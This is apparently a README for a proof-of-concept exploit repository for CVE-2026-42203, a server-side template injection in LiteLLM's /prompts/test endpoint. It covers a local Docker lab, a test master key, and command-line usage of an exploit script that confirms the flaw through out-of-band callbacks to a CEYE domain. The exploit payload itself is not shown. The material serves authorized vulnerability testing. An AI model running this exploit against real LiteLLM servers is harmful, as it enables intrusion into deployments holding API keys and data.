astianjy/cve-2026-42203Proof-of-concept exploit for CVE-2026-42203, an SSTI vulnerability in LiteLLM's /prompts/test endpoint, with CEYE callback verification for authorized testing.
This document explains how to start a local LiteLLM environment and run CVE-2026-42203.py to verify the /prompts/test SSTI vulnerability.
Only use in a local experimental environment that you are authorized to test. Do not point the script at unauthorized public targets.
Navigate to the Lab directory and start LiteLLM, Postgres, and Prometheus:
docker compose up -d
Check container status:
docker compose ps
Confirm the service is accessible:
curl http://127.0.0.1:4000/
The default Master_Key is: sk-master-test-key-1234
Provide them via command line arguments:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Variable descriptions:
LITELLM_API_KEY: The LiteLLM access key. In the local Docker environment, this usually corresponds to LITELLM_MASTER_KEY in the .env file.CEYE_DOMAIN: Your CEYE subdomain, e.g. xxxxxx.ceye.io.CEYE_TOKEN: Your CEYE API Token, used to query callback records.Full example:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Key parameters:
--target: LiteLLM service address, default is http://127.0.0.1:4000.--auth / --api-key: The LiteLLM key used to call /prompts/test.--ceye-domain: CEYE callback domain.--ceye-token: CEYE API Token. The script will automatically mask it in output.--wait: Seconds to wait for CEYE callback, default 20.--interval: Seconds between polling CEYE records, default 3.--timeout: HTTP request timeout, default 10 seconds.--insecure: Add this parameter if the target uses a self-signed HTTPS certificate to disable TLS certificate verification.If CEYE receives a callback, the script outputs:
[VULNERABLE] CEYE received the callback request.
If no callback is received within the wait window, the script outputs:
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.